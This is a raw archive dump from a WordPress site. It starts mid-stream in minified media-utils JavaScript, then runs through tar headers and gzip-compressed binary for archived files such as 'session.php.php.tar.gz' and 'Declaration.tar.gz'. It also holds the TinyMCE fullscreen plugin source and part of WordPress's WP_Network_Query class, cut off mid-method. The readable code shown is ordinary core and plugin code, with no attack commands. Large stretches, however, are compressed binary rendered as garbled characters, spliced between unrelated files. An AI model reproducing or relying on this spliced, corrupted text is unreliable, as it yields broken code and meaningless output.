r.media.model.Selection(l.models,{props:l.props.toJSON(),multiple:i});this.frame=new this.GalleryDetailsMediaFrame({mimeType:t,state:s,multiple:i,selection:p,editing:!!o?.length}),r.media.frame=this.frame,this.initializeListeners()}buildAndSetFeatureImageFrame(){const{wp:e}=window,{value:t,multiple:i,allowedTypes:o}=this.props,a=r(),s=d(t),n=new e.media.model.Selection(s.models,{props:s.props.toJSON()});this.frame=new a({mimeType:o,state:"featured-image",multiple:i,selection:n,editing:t}),e.media.frame=this.frame,e.media.view.settings.post={...e.media.view.settings.post,featuredImageId:t||-1}}buildAndSetSingleMediaFrame(){const{wp:e}=window,{allowedTypes:t,multiple:i=!1,title:a=(0,o.__)("Select or Upload Media"),value:r}=this.props,n={title:a,multiple:i};t&&(n.library={type:t}),this.frame&&this.frame.remove();const l=s(),p=d(r),m=new e.media.model.Selection(p.models,{props:p.props.toJSON()});this.frame=new l({mimeType:t,multiple:i,selection:m,...n}),e.media.frame=this.frame}componentWillUnmount(){this.frame?.remove()}onUpdate(e){const{onSelect:t,multiple:i=!1}=this.props,o=this.frame.state(),a=e||o.get("selection");a&&a.models.length&&t(i?a.models.map((e=>l(e.toJSON()))):l(a.models[0].toJSON()))}onSelect(){const{onSelect:e,multiple:t=!1}=this.props,i=this.frame.state().get("selection").toJSON();e(t?i:i[0])}onOpen(){const{wp:e}=window,{value:t}=this.props;this.updateCollection(),this.props.mode&&this.frame.content.mode(this.props.mode);if(!(Array.isArray(t)?!!t?.length:!!t))return;const i=this.props.gallery,o=this.frame.state().get("selection"),a=Array.isArray(t)?t:[t];i||a.forEach((t=>{o.add(e.media.attachment(t))}));const r=d(a);r.more().done((function(){i&&r?.models?.length&&o.add(r.models)}))}onClose(){const{onClose:e}=this.props;e&&e(),this.frame.detach()}updateCollection(){const e=this.frame.content.get();if(e&&e.collection){const t=e.collection;t.toArray().forEach((e=>e.trigger("destroy",e))),t.mirroring._hasMore=!0,t.more()}}openModal(){const{gallery:e=!1,unstableFeaturedImageFlow:t=!1,modalClass:i}=this.props;e?this.buildAndSetGalleryFrame():this.buildAndSetSingleMediaFrame(),i&&this.frame.$el.addClass(i),t&&this.buildAndSetFeatureImageFrame(),this.initializeListeners(),this.frame.open()}render(){return this.props.render({open:this.openModal})}}const m=p,c=window.wp.blob,h=window.wp.apiFetch;var u=e.n(h);function f(e,t,i){if(function(e){return null!==e&&"object"==typeof e&&Object.getPrototypeOf(e)===Object.prototype}(i))for(const[o,a]of Object.entries(i))f(e,`${t}[${o}]`,a);else void 0!==i&&e.append(t,String(i))}function w(e){var t;const{alt_text:i,source_url:o,...a}=e;return{...a,alt:e.alt_text,caption:null!==(t=e.caption?.raw)&&void 0!==t?t:"",title:e.title.raw,url:e.source_url,poster:e._embedded?.["wp:featuredmedia"]?.[0]?.source_url||void 0}}class y extends Error{constructor({code:e,message:t,file:i,cause:o}){super(t,{cause:o}),Object.setPrototypeOf(this,new.target.prototype),this.code=e,this.file=i}}function g(e,t){if(!t)return;const i=t.some((t=>t.includes("/")?t===e.type:e.type.startsWith(`${t}/`)));if(e.type&&!i)throw new y({code:"MIME_TYPE_NOT_SUPPORTED",message:(0,o.sprintf)((0,o.__)("%s: Sorry, this file type is not supported here."),e.name),file:e})}function b(e,t){const i=(a=t)?Object.entries(a).flatMap((([e,t])=>{const[i]=t.split("/");return[t,...e.split("|").map((e=>`${i}/${e}`))]})):null;var a;if(!i)return;const r=i.includes(e.type);if(e.type&&!r)throw new y({code:"MIME_TYPE_NOT_ALLOWED_FOR_USER",message:(0,o.sprintf)((0,o.__)("%s: Sorry, you are not allowed to upload this file type."),e.name),file:e})}function S(e,t){if(e.size<=0)throw new y({code:"EMPTY_FILE",message:(0,o.sprintf)((0,o.__)("%s: This file is empty."),e.name),file:e});if(t&&e.size>t)throw new y({code:"SIZE_ABOVE_LIMIT",message:(0,o.sprintf)((0,o.__)("%s: This file exceeds the maximum upload size for this site."),e.name),file:e})}function _({wpAllowedMimeTypes:e,allowedTypes:t,additionalData:i={},filesList:a,maxUploadFileSize:r,onError:s,onFileChange:n,signal:l,multiple:d=!0}){if(!d&&a.length>1)return void s?.(new Error((0,o.__)("Only one file can be used here.")));const p=[],m=[],h=(e,t)=>{window.__experimentalMediaProcessing||m[e]?.url&&(0,c.revokeBlobURL)(m[e].url),m[e]=t,n?.(m.filter((e=>null!==e)))};for(const i of a){try{b(i,e)}catch(e){s?.(e);continue}try{g(i,t)}catch(e){s?.(e);continue}try{S(i,r)}catch(e){s?.(e);continue}p.push(i),window.__experimentalMediaProcessing||(m.push({url:(0,c.createBlobURL)(i)}),n?.(m))}p.map((async(e,t)=>{try{const o=await async function(e,t={},i){const o=new FormData;o.append("file",e,e.name||e.type.replace("/","."));for(const[e,i]of Object.entries(t))f(o,e,i);return w(await u()({path:"/wp/v2/media?_embed=wp:featuredmedia",body:o,method:"POST",signal:i}))}(e,i,l);h(t,o)}catch(i){let a;h(t,null),a="object"==typeof i&&null!==i&&"message"in i?"string"==typeof i.message?i.message:String(i.message):(0,o.sprintf)((0,o.__)("Error while uploading file %s to the media library."),e.name),s?.(new y({code:"GENERAL",message:a,file:e,cause:i instanceof Error?i:void 0}))}}))}const v=()=>{};const O=window.wp.privateApis,{lock:E,unlock:M}=(0,O.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/media-utils"),T={};E(T,{sideloadMedia:async function({file:e,attachmentId:t,additionalData:i={},signal:a,onFileChange:r,onError:s=v}){try{const o=await async function(e,t,i={},o){const a=new FormData;a.append("file",e,e.name||e.type.replace("/","."));for(const[e,t]of Object.entries(i))f(a,e,t);return w(await u()({path:`/wp/v2/media/${t}/sideload`,body:a,method:"POST",signal:o}))}(e,t,i,a);r?.([o])}catch(t){let i;i=t instanceof Error?t.message:(0,o.sprintf)((0,o.__)("Error while sideloading file %s to the server."),e.name),s(new y({code:"GENERAL",message:i,file:e,cause:t instanceof Error?t:void 0}))}}}),(window.wp=window.wp||{}).mediaUtils=t})();14338/session.php.php.tar.gz000064400000000447151024420100011406 0ustar00��K�0�w�_�[ݰM֥z��S2
<�����6���޴
^�� �C��}��w�������i�lY*Р*���/�AW��*�t�+Sӷ&*��\HK��fӌ�<g���;8KF�t���4�y=��|J�����VZo�^���K�\@'��L�3L�Ȗ~�+�I�1�Y?��XP��܋�H�@|ˢ(+8!�A����[>�
AƧ$�wB2����+-�,�������)[�n�RUI�ȗ�cQk����Z8���C�Q
����	���E14338/Declaration.tar.gz000064400000004566151024420100010602 0ustar00��Z�O���_�<T]�B����{u�B�g;�HH�����9t��f׎�;	������b���g�3����#���w��O_�u��=>���t��^�y�������klǬ���c�|=�����9����0�;;{{;���p-:2)��wF��W]�SUb ��)��{dA��w��d5rO}���3�����`Alrg�w@@wB@����w�00{?��9�g��h�-8�t�_a��Ay$6����ڠ��65ǎG��^H��DݱϜ����
����b�?Pc��P��#a���}
��v��Ny�Դ��3�[�mX����d.Ü�:a
�c�K��Ȓ�9�������cYΒ�&��y���Il׿������&�1P3�	�ʴ���V��N`�HH07}�P*�!k�T�����PobfHYق�!ڷ�9�-�Ֆ�@�����YE�����P�$�+O��1�3nd�R�+`"6f53�='4�g;���)��6������8@m�(K�h�`�GT�l
�|�D��,X�tX%��R�eN2/V��Xz�Q��~��RRA�ϵ�">��Z�}���=yt�H�\ʃ��� ��;��;�d��T�����
�G���L���t5H�a�I��i�����
����J�PL���<
�s���%�
]i i7|�"깤
�ː�hRo<��������Kjo HWb
@P�š�0T��ҟs�+��Bw Fp�p_RĞ��J�zH"�9��3{{?�蔠ܴ�^��*��r8}�J�@7���Ɗx�lGJ�qW�$m��p!�}5֭�ʵ��S�*�n��m�ϴ k8��ݱ*q���&*�x�I�$|@��	8�ω����(qDY�az<m�p)b����	���iY1�D&���0/҅8쉱�2S�AR�OR���1#v�}gACۢ�L"�yhA:�-1�#a��A�"K"�z�1��5��%�=���ާ�)�g�n����$���e�ݙ�%�T�e�0���禹&�w�����OKH,�\.�{���'����7^�/�\]���U���ꅄdظ�x5��S��/��ɑ`��Ѿ�2��YO�NWL�r��}?R���8k{�z>�λV#S��S�-�} ��δ��3���.8���~��^E��t��C��27��_��Tܰ���t{ȩ�X��~�!g���7��
�ք��	�8�X��	�~K�d(\���)��Nb�&,7k��?u�Fa�fg��B�|����`�} V����jQb�*D��8�	x��
!u,����;�y(&�1�l�
;!&���L9�<��$����ͱQ�4�y�Y(�����M��c�˂�s�~EX�EK���I��W������+�l�d�xD3H@�bO}a���#���wx�m��<8&^y�e�҃�q�����1�sst��?6�٨�z�����8�M8�N}�\���U�\Ub�/��Ǫ1)oB��ߣ,��՚6�I=ɠh�I�����˱�{�"_�R������Lx�{x�o�Q �-��,N��ǟ��V
��DZΌ���J��
��<�f��|��īq�E���e=3bZ�W�����,�������2��gȽ��,�0yqN��ğ0���VF1�m����N�"�H$�l���j"�V�jĜ,?���hT�(#3�V�˜]�D�5ʣ�sAv<��Knu���T�ǰ�Յo�X=��S���7�\SMJYd�Rճ��Xb�S8n;��'ɧ4셔�����(��V��څ#�|�7.b?�|
��s�i�a���CXsRq��X<t��g��5���;Ig��|���K���JAvo��
����Qg�
.Z��IXzy��(�Pi�L�B�����;D������N�)�St0�]��6�
�2��+��ۀ?��L�nc�T+�
_�,�	L��h��t�x��Q�*��tl�73��TO��K8,��ʁ��i�T́r)ƶ�rQ�r��s�&FU���)-�(�&[k���P��F��
�/�(Ecm�
i��K�V"�Zj
u�E�yɋ��O�aL��&�J�K��/?�KZu��,���wd�lݚZO��k����x��T��I��jk�W�B���g�8sW�Y��p�^|~>d<��n��y�2��ʳ�d�	�S!�͖Z�6���JA�c��H�N����m�a��s���dt���?�?�>;uk�A��R�/�@���U-q��W�G�7NJcyS�g�l�z�ܟ�Ԡ��@27�mQ:#�l���l��Iź�_e;��J��b��o6jIy��цTf�2���$�AF�����~��G���_���K,14338/fullscreen.tar000064400000024000151024420100010061 0ustar00plugin.js000064400000012733151024271630006407 0ustar00(function () {
var fullscreen = (function (domGlobals) {
    'use strict';

    var Cell = function (initial) {
      var value = initial;
      var get = function () {
        return value;
      };
      var set = function (v) {
        value = v;
      };
      var clone = function () {
        return Cell(get());
      };
      return {
        get: get,
        set: set,
        clone: clone
      };
    };

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var get = function (fullscreenState) {
      return {
        isFullscreen: function () {
          return fullscreenState.get() !== null;
        }
      };
    };
    var Api = { get: get };

    var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var fireFullscreenStateChanged = function (editor, state) {
      editor.fire('FullscreenStateChanged', { state: state });
    };
    var Events = { fireFullscreenStateChanged: fireFullscreenStateChanged };

    var DOM = global$1.DOM;
    var getWindowSize = function () {
      var w;
      var h;
      var win = domGlobals.window;
      var doc = domGlobals.document;
      var body = doc.body;
      if (body.offsetWidth) {
        w = body.offsetWidth;
        h = body.offsetHeight;
      }
      if (win.innerWidth && win.innerHeight) {
        w = win.innerWidth;
        h = win.innerHeight;
      }
      return {
        w: w,
        h: h
      };
    };
    var getScrollPos = function () {
      var vp = DOM.getViewPort();
      return {
        x: vp.x,
        y: vp.y
      };
    };
    var setScrollPos = function (pos) {
      domGlobals.window.scrollTo(pos.x, pos.y);
    };
    var toggleFullscreen = function (editor, fullscreenState) {
      var body = domGlobals.document.body;
      var documentElement = domGlobals.document.documentElement;
      var editorContainerStyle;
      var editorContainer, iframe, iframeStyle;
      var fullscreenInfo = fullscreenState.get();
      var resize = function () {
        DOM.setStyle(iframe, 'height', getWindowSize().h - (editorContainer.clientHeight - iframe.clientHeight));
      };
      var removeResize = function () {
        DOM.unbind(domGlobals.window, 'resize', resize);
      };
      editorContainer = editor.getContainer();
      editorContainerStyle = editorContainer.style;
      iframe = editor.getContentAreaContainer().firstChild;
      iframeStyle = iframe.style;
      if (!fullscreenInfo) {
        var newFullScreenInfo = {
          scrollPos: getScrollPos(),
          containerWidth: editorContainerStyle.width,
          containerHeight: editorContainerStyle.height,
          iframeWidth: iframeStyle.width,
          iframeHeight: iframeStyle.height,
          resizeHandler: resize,
          removeHandler: removeResize
        };
        iframeStyle.width = iframeStyle.height = '100%';
        editorContainerStyle.width = editorContainerStyle.height = '';
        DOM.addClass(body, 'mce-fullscreen');
        DOM.addClass(documentElement, 'mce-fullscreen');
        DOM.addClass(editorContainer, 'mce-fullscreen');
        DOM.bind(domGlobals.window, 'resize', resize);
        editor.on('remove', removeResize);
        resize();
        fullscreenState.set(newFullScreenInfo);
        Events.fireFullscreenStateChanged(editor, true);
      } else {
        iframeStyle.width = fullscreenInfo.iframeWidth;
        iframeStyle.height = fullscreenInfo.iframeHeight;
        if (fullscreenInfo.containerWidth) {
          editorContainerStyle.width = fullscreenInfo.containerWidth;
        }
        if (fullscreenInfo.containerHeight) {
          editorContainerStyle.height = fullscreenInfo.containerHeight;
        }
        DOM.removeClass(body, 'mce-fullscreen');
        DOM.removeClass(documentElement, 'mce-fullscreen');
        DOM.removeClass(editorContainer, 'mce-fullscreen');
        setScrollPos(fullscreenInfo.scrollPos);
        DOM.unbind(domGlobals.window, 'resize', fullscreenInfo.resizeHandler);
        editor.off('remove', fullscreenInfo.removeHandler);
        fullscreenState.set(null);
        Events.fireFullscreenStateChanged(editor, false);
      }
    };
    var Actions = { toggleFullscreen: toggleFullscreen };

    var register = function (editor, fullscreenState) {
      editor.addCommand('mceFullScreen', function () {
        Actions.toggleFullscreen(editor, fullscreenState);
      });
    };
    var Commands = { register: register };

    var postRender = function (editor) {
      return function (e) {
        var ctrl = e.control;
        editor.on('FullscreenStateChanged', function (e) {
          ctrl.active(e.state);
        });
      };
    };
    var register$1 = function (editor) {
      editor.addMenuItem('fullscreen', {
        text: 'Fullscreen',
        shortcut: 'Ctrl+Shift+F',
        selectable: true,
        cmd: 'mceFullScreen',
        onPostRender: postRender(editor),
        context: 'view'
      });
      editor.addButton('fullscreen', {
        active: false,
        tooltip: 'Fullscreen',
        cmd: 'mceFullScreen',
        onPostRender: postRender(editor)
      });
    };
    var Buttons = { register: register$1 };

    global.add('fullscreen', function (editor) {
      var fullscreenState = Cell(null);
      if (editor.settings.inline) {
        return Api.get(fullscreenState);
      }
      Commands.register(editor, fullscreenState);
      Buttons.register(editor);
      editor.addShortcut('Ctrl+Shift+F', '', 'mceFullScreen');
      return Api.get(fullscreenState);
    });
    function Plugin () {
    }

    return Plugin;

}(window));
})();
plugin.min.js000064400000004210151024271630007160 0ustar00!function(m){"use strict";var i=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return i(t())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(e){return{isFullscreen:function(){return null!==e.get()}}},n=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),g=function(e,n){e.fire("FullscreenStateChanged",{state:n})},w=n.DOM,r=function(e,n){var t,r,l,i,o,c,s=m.document.body,u=m.document.documentElement,d=n.get(),a=function(){var e,n,t,i;w.setStyle(l,"height",(t=m.window,i=m.document.body,i.offsetWidth&&(e=i.offsetWidth,n=i.offsetHeight),t.innerWidth&&t.innerHeight&&(e=t.innerWidth,n=t.innerHeight),{w:e,h:n}).h-(r.clientHeight-l.clientHeight))},h=function(){w.unbind(m.window,"resize",a)};if(t=(r=e.getContainer()).style,i=(l=e.getContentAreaContainer().firstChild).style,d)i.width=d.iframeWidth,i.height=d.iframeHeight,d.containerWidth&&(t.width=d.containerWidth),d.containerHeight&&(t.height=d.containerHeight),w.removeClass(s,"mce-fullscreen"),w.removeClass(u,"mce-fullscreen"),w.removeClass(r,"mce-fullscreen"),o=d.scrollPos,m.window.scrollTo(o.x,o.y),w.unbind(m.window,"resize",d.resizeHandler),e.off("remove",d.removeHandler),n.set(null),g(e,!1);else{var f={scrollPos:(c=w.getViewPort(),{x:c.x,y:c.y}),containerWidth:t.width,containerHeight:t.height,iframeWidth:i.width,iframeHeight:i.height,resizeHandler:a,removeHandler:h};i.width=i.height="100%",t.width=t.height="",w.addClass(s,"mce-fullscreen"),w.addClass(u,"mce-fullscreen"),w.addClass(r,"mce-fullscreen"),w.bind(m.window,"resize",a),e.on("remove",h),a(),n.set(f),g(e,!0)}},l=function(e,n){e.addCommand("mceFullScreen",function(){r(e,n)})},o=function(t){return function(e){var n=e.control;t.on("FullscreenStateChanged",function(e){n.active(e.state)})}},c=function(e){e.addMenuItem("fullscreen",{text:"Fullscreen",shortcut:"Ctrl+Shift+F",selectable:!0,cmd:"mceFullScreen",onPostRender:o(e),context:"view"}),e.addButton("fullscreen",{active:!1,tooltip:"Fullscreen",cmd:"mceFullScreen",onPostRender:o(e)})};e.add("fullscreen",function(e){var n=i(null);return e.settings.inline||(l(e,n),c(e),e.addShortcut("Ctrl+Shift+F","","mceFullScreen")),t(n)})}(window);14338/class-wp-network-query.php.tar000064400000052000151024420100013071 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp-network-query.php000064400000046621151024174350026463 0ustar00<?php
/**
 * Network API: WP_Network_Query class
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.6.0
 */

/**
 * Core class used for querying networks.
 *
 * @since 4.6.0
 *
 * @see WP_Network_Query::__construct() for accepted arguments.
 */
#[AllowDynamicProperties]
class WP_Network_Query {

	/**
	 * SQL for database query.
	 *
	 * @since 4.6.0
	 * @var string
	 */
	public $request;

	/**
	 * SQL query clauses.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	protected $sql_clauses = array(
		'select'  => '',
		'from'    => '',
		'where'   => array(),
		'groupby' => '',
		'orderby' => '',
		'limits'  => '',
	);

	/**
	 * Query vars set by the user.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $query_vars;

	/**
	 * Default values for query vars.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $query_var_defaults;

	/**
	 * List of networks located by the query.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $networks;

	/**
	 * The amount of found networks for the current query.
	 *
	 * @since 4.6.0
	 * @var int
	 */
	public $found_networks = 0;

	/**
	 * The number of pages.
	 *
	 * @since 4.6.0
	 * @var int
	 */
	public $max_num_pages = 0;

	/**
	 * Constructor.
	 *
	 * Sets up the network query, based on the query vars passed.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query {
	 *     Optional. Array or query string of network query parameters. Default empty.
	 *
	 *     @type int[]        $network__in          Array of network IDs to include. Default empty.
	 *     @type int[]        $network__not_in      Array of network IDs to exclude. Default empty.
	 *     @type bool         $count                Whether to return a network count (true) or array of network objects.
	 *                                              Default false.
	 *     @type string       $fields               Network fields to return. Accepts 'ids' (returns an array of network IDs)
	 *                                              or empty (returns an array of complete network objects). Default empty.
	 *     @type int          $number               Maximum number of networks to retrieve. Default empty (no limit).
	 *     @type int          $offset               Number of networks to offset the query. Used to build LIMIT clause.
	 *                                              Default 0.
	 *     @type bool         $no_found_rows        Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true.
	 *     @type string|array $orderby              Network status or array of statuses. Accepts 'id', 'domain', 'path',
	 *                                              'domain_length', 'path_length' and 'network__in'. Also accepts false,
	 *                                              an empty array, or 'none' to disable `ORDER BY` clause. Default 'id'.
	 *     @type string       $order                How to order retrieved networks. Accepts 'ASC', 'DESC'. Default 'ASC'.
	 *     @type string       $domain               Limit results to those affiliated with a given domain. Default empty.
	 *     @type string[]     $domain__in           Array of domains to include affiliated networks for. Default empty.
	 *     @type string[]     $domain__not_in       Array of domains to exclude affiliated networks for. Default empty.
	 *     @type string       $path                 Limit results to those affiliated with a given path. Default empty.
	 *     @type string[]     $path__in             Array of paths to include affiliated networks for. Default empty.
	 *     @type string[]     $path__not_in         Array of paths to exclude affiliated networks for. Default empty.
	 *     @type string       $search               Search term(s) to retrieve matching networks for. Default empty.
	 *     @type bool         $update_network_cache Whether to prime the cache for found networks. Default true.
	 * }
	 */
	public function __construct( $query = '' ) {
		$this->query_var_defaults = array(
			'network__in'          => '',
			'network__not_in'      => '',
			'count'                => false,
			'fields'               => '',
			'number'               => '',
			'offset'               => '',
			'no_found_rows'        => true,
			'orderby'              => 'id',
			'order'                => 'ASC',
			'domain'               => '',
			'domain__in'           => '',
			'domain__not_in'       => '',
			'path'                 => '',
			'path__in'             => '',
			'path__not_in'         => '',
			'search'               => '',
			'update_network_cache' => true,
		);

		if ( ! empty( $query ) ) {
			$this->query( $query );
		}
	}

	/**
	 * Parses arguments passed to the network query with default query parameters.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query WP_Network_Query arguments. See WP_Network_Query::__construct() for accepted arguments.
	 */
	public function parse_query( $query = '' ) {
		if ( empty( $query ) ) {
			$query = $this->query_vars;
		}

		$this->query_vars = wp_parse_args( $query, $this->query_var_defaults );

		/**
		 * Fires after the network query vars have been parsed.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Network_Query $query The WP_Network_Query instance (passed by reference).
		 */
		do_action_ref_array( 'parse_network_query', array( &$this ) );
	}

	/**
	 * Sets up the WordPress query for retrieving networks.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query Array or URL query string of parameters.
	 * @return array|int List of WP_Network objects, a list of network IDs when 'fields' is set to 'ids',
	 *                   or the number of networks when 'count' is passed as a query var.
	 */
	public function query( $query ) {
		$this->query_vars = wp_parse_args( $query );
		return $this->get_networks();
	}

	/**
	 * Gets a list of networks matching the query vars.
	 *
	 * @since 4.6.0
	 *
	 * @return array|int List of WP_Network objects, a list of network IDs when 'fields' is set to 'ids',
	 *                   or the number of networks when 'count' is passed as a query var.
	 */
	public function get_networks() {
		$this->parse_query();

		/**
		 * Fires before networks are retrieved.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Network_Query $query Current instance of WP_Network_Query (passed by reference).
		 */
		do_action_ref_array( 'pre_get_networks', array( &$this ) );

		$network_data = null;

		/**
		 * Filters the network data before the query takes place.
		 *
		 * Return a non-null value to bypass WordPress' default network queries.
		 *
		 * The expected return type from this filter depends on the value passed
		 * in the request query vars:
		 * - When `$this->query_vars['count']` is set, the filter should return
		 *   the network count as an integer.
		 * - When `'ids' === $this->query_vars['fields']`, the filter should return
		 *   an array of network IDs.
		 * - Otherwise the filter should return an array of WP_Network objects.
		 *
		 * Note that if the filter returns an array of network data, it will be assigned
		 * to the `networks` property of the current WP_Network_Query instance.
		 *
		 * Filtering functions that require pagination information are encouraged to set
		 * the `found_networks` and `max_num_pages` properties of the WP_Network_Query object,
		 * passed to the filter by reference. If WP_Network_Query does not perform a database
		 * query, it will not have enough information to generate these values itself.
		 *
		 * @since 5.2.0
		 * @since 5.6.0 The returned array of network data is assigned to the `networks` property
		 *              of the current WP_Network_Query instance.
		 *
		 * @param array|int|null   $network_data Return an array of network data to short-circuit WP's network query,
		 *                                       the network count as an integer if `$this->query_vars['count']` is set,
		 *                                       or null to allow WP to run its normal queries.
		 * @param WP_Network_Query $query        The WP_Network_Query instance, passed by reference.
		 */
		$network_data = apply_filters_ref_array( 'networks_pre_query', array( $network_data, &$this ) );

		if ( null !== $network_data ) {
			if ( is_array( $network_data ) && ! $this->query_vars['count'] ) {
				$this->networks = $network_data;
			}

			return $network_data;
		}

		// $args can include anything. Only use the args defined in the query_var_defaults to compute the key.
		$_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) );

		// Ignore the $fields, $update_network_cache arguments as the queried result will be the same regardless.
		unset( $_args['fields'], $_args['update_network_cache'] );

		$key          = md5( serialize( $_args ) );
		$last_changed = wp_cache_get_last_changed( 'networks' );

		$cache_key   = "get_network_ids:$key:$last_changed";
		$cache_value = wp_cache_get( $cache_key, 'network-queries' );

		if ( false === $cache_value ) {
			$network_ids = $this->get_network_ids();
			if ( $network_ids ) {
				$this->set_found_networks();
			}

			$cache_value = array(
				'network_ids'    => $network_ids,
				'found_networks' => $this->found_networks,
			);
			wp_cache_add( $cache_key, $cache_value, 'network-queries' );
		} else {
			$network_ids          = $cache_value['network_ids'];
			$this->found_networks = $cache_value['found_networks'];
		}

		if ( $this->found_networks && $this->query_vars['number'] ) {
			$this->max_num_pages = (int) ceil( $this->found_networks / $this->query_vars['number'] );
		}

		// If querying for a count only, there's nothing more to do.
		if ( $this->query_vars['count'] ) {
			// $network_ids is actually a count in this case.
			return (int) $network_ids;
		}

		$network_ids = array_map( 'intval', $network_ids );

		if ( 'ids' === $this->query_vars['fields'] ) {
			$this->networks = $network_ids;
			return $this->networks;
		}

		if ( $this->query_vars['update_network_cache'] ) {
			_prime_network_caches( $network_ids );
		}

		// Fetch full network objects from the primed cache.
		$_networks = array();
		foreach ( $network_ids as $network_id ) {
			$_network = get_network( $network_id );
			if ( $_network ) {
				$_networks[] = $_network;
			}
		}

		/**
		 * Filters the network query results.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Network[]     $_networks An array of WP_Network objects.
		 * @param WP_Network_Query $query     Current instance of WP_Network_Query (passed by reference).
		 */
		$_networks = apply_filters_ref_array( 'the_networks', array( $_networks, &$this ) );

		// Convert to WP_Network instances.
		$this->networks = array_map( 'get_network', $_networks );

		return $this->networks;
	}

	/**
	 * Used internally to get a list of network IDs matching the query vars.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int|array A single count of network IDs if a count query. An array of network IDs if a full query.
	 */
	protected function get_network_ids() {
		global $wpdb;

		$order = $this->parse_order( $this->query_vars['order'] );

		// Disable ORDER BY with 'none', an empty array, or boolean false.
		if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) {
			$orderby = '';
		} elseif ( ! empty( $this->query_vars['orderby'] ) ) {
			$ordersby = is_array( $this->query_vars['orderby'] ) ?
				$this->query_vars['orderby'] :
				preg_split( '/[,\s]/', $this->query_vars['orderby'] );

			$orderby_array = array();
			foreach ( $ordersby as $_key => $_value ) {
				if ( ! $_value ) {
					continue;
				}

				if ( is_int( $_key ) ) {
					$_orderby = $_value;
					$_order   = $order;
				} else {
					$_orderby = $_key;
					$_order   = $_value;
				}

				$parsed = $this->parse_orderby( $_orderby );

				if ( ! $parsed ) {
					continue;
				}

				if ( 'network__in' === $_orderby ) {
					$orderby_array[] = $parsed;
					continue;
				}

				$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
			}

			$orderby = implode( ', ', $orderby_array );
		} else {
			$orderby = "$wpdb->site.id $order";
		}

		$number = absint( $this->query_vars['number'] );
		$offset = absint( $this->query_vars['offset'] );
		$limits = '';

		if ( ! empty( $number ) ) {
			if ( $offset ) {
				$limits = 'LIMIT ' . $offset . ',' . $number;
			} else {
				$limits = 'LIMIT ' . $number;
			}
		}

		if ( $this->query_vars['count'] ) {
			$fields = 'COUNT(*)';
		} else {
			$fields = "$wpdb->site.id";
		}

		// Parse network IDs for an IN clause.
		if ( ! empty( $this->query_vars['network__in'] ) ) {
			$this->sql_clauses['where']['network__in'] = "$wpdb->site.id IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__in'] ) ) . ' )';
		}

		// Parse network IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['network__not_in'] ) ) {
			$this->sql_clauses['where']['network__not_in'] = "$wpdb->site.id NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__not_in'] ) ) . ' )';
		}

		if ( ! empty( $this->query_vars['domain'] ) ) {
			$this->sql_clauses['where']['domain'] = $wpdb->prepare( "$wpdb->site.domain = %s", $this->query_vars['domain'] );
		}

		// Parse network domain for an IN clause.
		if ( is_array( $this->query_vars['domain__in'] ) ) {
			$this->sql_clauses['where']['domain__in'] = "$wpdb->site.domain IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__in'] ) ) . "' )";
		}

		// Parse network domain for a NOT IN clause.
		if ( is_array( $this->query_vars['domain__not_in'] ) ) {
			$this->sql_clauses['where']['domain__not_in'] = "$wpdb->site.domain NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__not_in'] ) ) . "' )";
		}

		if ( ! empty( $this->query_vars['path'] ) ) {
			$this->sql_clauses['where']['path'] = $wpdb->prepare( "$wpdb->site.path = %s", $this->query_vars['path'] );
		}

		// Parse network path for an IN clause.
		if ( is_array( $this->query_vars['path__in'] ) ) {
			$this->sql_clauses['where']['path__in'] = "$wpdb->site.path IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__in'] ) ) . "' )";
		}

		// Parse network path for a NOT IN clause.
		if ( is_array( $this->query_vars['path__not_in'] ) ) {
			$this->sql_clauses['where']['path__not_in'] = "$wpdb->site.path NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__not_in'] ) ) . "' )";
		}

		// Falsey search strings are ignored.
		if ( strlen( $this->query_vars['search'] ) ) {
			$this->sql_clauses['where']['search'] = $this->get_search_sql(
				$this->query_vars['search'],
				array( "$wpdb->site.domain", "$wpdb->site.path" )
			);
		}

		$join = '';

		$where = implode( ' AND ', $this->sql_clauses['where'] );

		$groupby = '';

		$pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' );

		/**
		 * Filters the network query clauses.
		 *
		 * @since 4.6.0
		 *
		 * @param string[]         $clauses {
		 *     Associative array of the clauses for the query.
		 *
		 *     @type string $fields   The SELECT clause of the query.
		 *     @type string $join     The JOIN clause of the query.
		 *     @type string $where    The WHERE clause of the query.
		 *     @type string $orderby  The ORDER BY clause of the query.
		 *     @type string $limits   The LIMIT clause of the query.
		 *     @type string $groupby  The GROUP BY clause of the query.
		 * }
		 * @param WP_Network_Query $query   Current instance of WP_Network_Query (passed by reference).
		 */
		$clauses = apply_filters_ref_array( 'networks_clauses', array( compact( $pieces ), &$this ) );

